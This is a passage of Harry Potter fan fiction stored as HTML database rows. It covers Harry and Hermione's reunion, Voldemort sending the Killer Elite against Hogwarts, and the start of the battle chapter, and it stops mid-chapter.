style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Yes, for a month at most.&quot;&nbsp;\nHarry looked down at Hermione where her legs were missing.&nbsp; &quot;Hermione, you were all alone when you\nneeded me the most.&nbsp; I was away getting trained\nas a Battle Wizard without ever knowing how much you were suffering.&nbsp; I won\'t blame you if you hate me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Harry I could never hate you.&nbsp;\nI love you too much.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Harry suddenly sprang back, his eyes wide.&nbsp;\nHermione looked at him confused.&nbsp;\n&quot;What did you just say?&quot; asked Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;I said that I could never hate you because I...&quot; Hermione\nsuddenly gasped as she realized what she had just said.&nbsp; Harry just sat there speechless.&nbsp; Hermione turned away, buried her face into\nher hands and started crying. &nbsp;&quot;Harry I\'m so s-sorry.&nbsp;\nI-I can\'t believe I said that.&nbsp; I\nmean how c-could you ever love a legless freak l-like me?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Hermione, you\'re not a freak,&quot; said Harry.&nbsp; &quot;Just because you don\'t have any legs\ndoesn\'t change the way I feel about you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Hermione looked up, her eyes red and puffy from crying.&nbsp; &quot;W-what?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;I love you too,&quot; said Harry, his green eyes sparkling with\nsincerity.&nbsp; &quot;When I was away, I\nmissed you so much that it felt as if my heart had been torn out of my body.&nbsp; I was devastated when I came back and failed\nto find you.&nbsp; And I was crushed when I\nrealized how much suffering you had gone through.&nbsp; And I promise that I won\'t ever leave you again.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Promise?&quot; whispered Hermione.&nbsp;\nWhen Harry nodded, Hermione let out a sob and threw her arms around\nHarry.&nbsp; They hugged each other for a\nwhile before they pulled away a little.&nbsp;\nHerrmione\'s cheeks were burning and she could see that Harry was also a\nlittle nervous.&nbsp; Slowly, they leaned\ncloser and closer to each other until they\'re lips met.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Fireworks exploded inside of both of them as they kissed each other\npassionately.&nbsp; Both Harry and Hermione\nhad waited two full years for this moment and when it had finally come, it was\nbetter than anything either one of them could\'ve imagined.&nbsp; Harry felt his knees lose their feeling and\nhe was thankful that he was on the bed next to the girl he loved.&nbsp; Hermione had tears of joy rolling down her\nface.&nbsp; The passionate kiss continued for\nsome more time until the need for oxygen finally forced them to break apart for\nmoment before they went back to kissing each other.&nbsp; They just continued kissing in that hidden bunker that day,\nblissfully isolated from the rest of the world.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Meanwhile, at Parselrock, Voldemort was gathering his group of assassinators\nknown as the Killer Elite.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Death Eaters,&quot; said Voldemort.&nbsp;\n&quot;Now is the chance to crush the resistances to our reign once and\nfor all.&nbsp; Since Harry Potter is not at\nHogwarts right now, the school is at its weakest point.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;What is your command, master?&quot; asked one of the many Death\nEaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Each of you gather all of your mightiest forces you have and crush\nthe school once and for all.&nbsp; Kill\neveryone that is there and don\'t let anyone escape.&nbsp; This will be our last chance to finish them before Potter comes\nback.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;With all do respect my lord,&quot; said another Death Eater,\n&quot;why is it so important that we finish the school off while Potter is not\nthere?&nbsp; Would it not be more convenient\nif the school and Potter were destroyed at the same time?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Voldemort slowly got up and walked up to the Death Eater.&nbsp; He suddenly pulled out his wand and said, <i>&quot;Crucio!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">The Death Eater screamed in pain as the curse ripped through his body.&nbsp; Finally, the Dark Lord took the curse off.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Do any of you know what a Battle Wizard is,&quot; hissed\nVoldemort.&nbsp; The other Death Eaters\nremained quiet.&nbsp; &quot;Imagine a being\nwith enough power to wipe a city off the face of the planet.&nbsp; Imagine a being so powerful that he can\'t\nhelp but feel absolute confidence when he takes on a challenge.&nbsp; That\'s what Harry Potter is now.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">The Death Eaters remained quiet as Voldemort started pacing back in forth\nin front of his throne.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Thousands of years ago, There were hundreds of Battle Wizards on\nAtlantis, the ancient home of the wizards.&nbsp;\nHowever, after the great disaster, it was decided that there would only\nbe one Battle Wizard per generation.&nbsp;\nThere immense power became a legend of fear amongst wizards.&nbsp; And the most frightening thing about them is\nthe fact that a Battle Wizard can only be defeated by another Battle\nWizard.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">The Death Eaters all shuddered as the Dark Lord stopped pacing.&nbsp; &quot;Now do you understand why you must\ncrush Hogwarts while Potter is not there?&nbsp;\nI trust that none of you are that foolish,&quot; he said.&nbsp; &quot;Now go!&nbsp; And may victory go to the Dark Order!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">The Death Eaters all gave out a large cheer as Voldemort started laughing\nhis high pitched laugh.&nbsp; He caught sight\nof Draco Malfoy standing nearby his throne, in between his two cronies, Crabbe\nand Goyle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Do not despair, young Malfoy,&quot; said Voldemort.&nbsp; &quot;You will soon get the mudblood\nback.&nbsp; After all, you want her to be the\nmother to my heir.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Draco bowed low before leaving with the other Death Eaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">Outside, across the Thames River from Parselrock, the rider on the stag was\nwatching the Death Eaters and their dark forces leaving the fortress, led by\nthe Killer Elite.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;They\'re going to go attack Hogwarts,&quot; muttered the rider.&nbsp; The stag nodded and started to nudge his\nhead toward the north.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;I know,&quot; said the rider.&nbsp;\n&quot;We need to get back to the school as fast as we can.&quot;&nbsp; The rider turned the stag around and started\ngalloping away toward the north.&nbsp; Faster\nthan the wind, the stag sped toward Hogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">A/N I have a confession to make.&nbsp;\nEven though I attend college in Portland, I am currently taking a\nsemester off and am residing in Japan right now.&nbsp; That\'s why I update at slightly different times than other\npeople.&nbsp; Of course, it gives my American\nreaders to read the new chapter first thing in the morning (lol).&nbsp; Well, this story is really moving along.&nbsp; Please R/R.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 10, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Come to me,\nall you who are weary and burdened, and I will give you rest.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:right;layout-grid-mode:char;word-break:break-all" align="right"><i>Matthew 11:28</i></p>\n\nChapter 10: The\nBattle of Hogwarts\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I need a\nbreak,&quot; moaned Margaret as she dragged herself toward the Great Hall.&nbsp; She had just finished her most recent round\nof training and was extremely exhausted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron chuckled as he\nwalked next to her.&nbsp; &quot;Oh come now,\nMaggie.&nbsp; You can\'t be that\nexhausted.&quot;&nbsp; He made a devilish\ngrin and said, &quot;Besides, you may need some stamina for what I\'ve got\nplanned later.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret pretended\nto look horrified.&nbsp; &quot;Why, Ron\nWeasley.&nbsp; What ever gave you that\nidea?&quot; she asked, the laughter in her voice evident.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh gee, let\nme try to remember,&quot; said Ron.&nbsp; He\ngently pulled her into a long passionate kiss.&nbsp;\nAfter a while, they reluctantly broke up for the need of oxygen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Did that jog\nyour memory?&quot; asked Margaret.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron put on a\nthoughtful look.&nbsp; &quot;Hmm.&nbsp; No!&nbsp;\nI\'m going to need another reminder.&quot;&nbsp; They both grinned and dove into an even deeper kiss.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ahem.&quot;&nbsp; Ron and Margaret sprang apart looking very\nred and faced a not so happy Severus Snape.&nbsp;\n&quot;If you were students here, I would\'ve taken off twenty points from\neach of your houses and given you both a month\'s detention, separately.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh but\nProfessor Snape,&quot; said Margaret.&nbsp;\n&quot;We are both full grown adults and I believe we have every right to\nmake out where we please.&quot;&nbsp; She\nmade a slight smirk while Ron chuckled behind her.&nbsp; Snape steered and walked away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Now, where\nwere we,&quot; said Ron as he tried to pull Margaret closer to him.&nbsp; Margaret was about to respond when an\nexplosion suddenly rocked the foundations of the castle.&nbsp; Ron and Margaret shared an alarmed glance at\neach other before they dashed to the Main gates and threw them open.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Castle was\nunder attack by Dark Forces of an incredible number! &nbsp;There were dragons, trolls, dementors, and all matters of dark\ncreatures led by a elite looking troop of Death Eaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The other members\nof the Resistance streamed out of the castle.&nbsp;&nbsp;\n&quot;Good Lord, it\'s the Killer Elite,&quot; said Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Is that\nbad?&quot; asked Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Its\nbad,&quot; muttered Sirius.&nbsp; &quot;There\nthe worst of Voldemort\'s minions.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Enough\nchitter chatter,&quot; said Snape.&nbsp;\n&quot;Just split up and defend yourselves!&quot;&nbsp; With that, all of the resistance fighters\nsplit up and charged into the foray of the enemy!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron and Margaret\ntried to stick with each other.&nbsp;\nUnfortunately, they were separated when the Death Eater Flame attacked\nthem.&nbsp; Ron was blasted into a brigade of\ntrolls by a reductor curse fired by Flame.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron!&quot;&nbsp; Margaret tried to make her way to her boyfriend\nbut Flame stepped in front of her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You should\nworry more about yourself, mudblood,&quot; hissed Flame.&nbsp; She fired the Cruciatus Curse at Margaret\nwho just managed to dodge it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret shot a\ndisarmer at Flame but Flame simply blocked it with a shield charm.&nbsp; &quot;Why, you\'re a beginner, aren\'t\nyou?&quot; said Flame with a malicious grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret shuddered\na little and thought, \'I\'m in trouble.\'&nbsp;\nShe dodged another one Flame\'s curses.&nbsp;\nShe tried firing a number of curses but Flame simply deflected all of\nthem.&nbsp; \'I guess it sucks really being a\nbeginner,\' though Margaret.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Expelliarmus!&quot;</i>&nbsp;\nMargaret\'s eyes widened as the wand went sailing out of her hand.&nbsp; Flame closed in on her with a malicious\nsneer.&nbsp; &quot;It ends here, mudblood,&quot;\nhissed Flame.&nbsp; She raised her wand to\nperform the killing curse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, Margaret\nleapt forward and rammed a heavy punch onto Flame\'s nose!&nbsp; Flame reeled back, shocked as Margaret\nlanded a chop on her wrist, causing her to drop her wand.&nbsp; &quot;I may be a beginner at magic,&quot;\nhissed Margaret, &quot;but I\'ve been taking karate since I was\nseven!&quot;&nbsp; With a swift combination\nof punches and a roundhouse kick, Margaret knocked Flame out!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was around that\ntime that Ron finally came to.&nbsp; He\nquickly scrambled to his feet so as to make it to Margaret when three trolls\nambushed him.&nbsp; &quot;Uh-oh,&quot; he\nmuttered as the trolls closed in on him.&nbsp;\nHe was just barely dodged one of the clubs swinging downward as he leapt\nout of the way.&nbsp; In the process, he\nended up running into another red head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Watch where\nyou\'re leaping, Ronald!&quot; yelled Ginny.&nbsp;\nShe fired a powerful stunner at one of the trolls and knocked it out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Why don\'t\nyou step out of the way, Virginia?&quot; yelled Ron.&nbsp; He decided to use a trick that he used back in his first\nyear.&nbsp; Ron shouted, <i>&quot;Wingardium\nLeviosa!&quot;</i>&nbsp; One of trolls\' clubs\nlevitated into the air and came crashing back down onto the troll\'s head,\nknocking it out.&nbsp; The last troll swung\ntheir club down at them and Ron and Ginny split up to avoid the club.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron yelled, <i>&quot;Furnunculus!&quot;</i>\njust as Ginny fired the jelly-legs curse.&nbsp;\nThe troll collapsed at the combination of the two curses.&nbsp; Ron and Ginny gave each other a high-five.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Meanwhile, Sirius,\nRemus, and Snape were firing curses at their enemies and staying in\ncontrol.&nbsp; Suddenly, Sirius made a\nmalicious grin and pointed his wand behind him and fired a minor curse.&nbsp; The curse hit Snape in the back of the\nhead!&nbsp; Snape whirled around in anger but\nSirius was looking oblivious, firing curses at his enemies again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Black!&quot;\nhissed Snape.&nbsp; &quot;Watch where you\'re\nfiring your curses!&quot;</p>\n\n<p class="MsoNormal" 